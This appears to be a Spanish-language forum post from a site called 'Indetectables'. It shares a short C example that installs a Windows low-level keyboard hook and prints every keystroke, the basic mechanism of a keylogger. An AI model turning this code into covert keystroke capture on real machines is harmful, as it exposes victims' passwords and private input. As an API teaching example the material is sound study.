Indetectables

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/***********************************
* Coder: Linkgl                    *
* Thanks: The swash                *
* Exaple for hooks WH_KEYBOARD_LL  *
* (LowLevel)                       *
***********************************/
#include <windows.h>
#include <stdio.h>
//declaramos el hook publico
HHOOK hHook;
 
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   //llamamos a la estructura y la hacemos puntero para lParam
   KBDLLHOOKSTRUCT kbHookStruct = *(KBDLLHOOKSTRUCT*)lParam; 
   //PKDLLHOOKSTRUCT *kbHookStruct = (PKBDLLHOOKSTRUCT *)lParam;
   if(nCode < 0) //si es menor a 0 pasamos al siguiente hook
     return CallNextHookEx(0, nCode, wParam, lParam);
   if(wParam == WM_KEYDOWN) //Si se detecto pulsacion de tecla 
       printf("%s", (char *)&kbHookStruct.vkCode); //imprimimos convirtiendo a char *

   return CallNextHookEx(0, nCode, wParam, lParam);
}
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
   MSG msg;
   //seteamos el hook
   hHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);
   //Bucle de mensajes que usamos en las winapi
   while(TRUE==GetMessage(&msg, NULL, 0, 0))
   {
     TranslateMessage(&msg);
     DispatchMessage(&msg);
   }
   //eliminamos el hook
   UnhookWindowsHookEx(hHook);
}

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if(wParam == WM_KEYDOWN)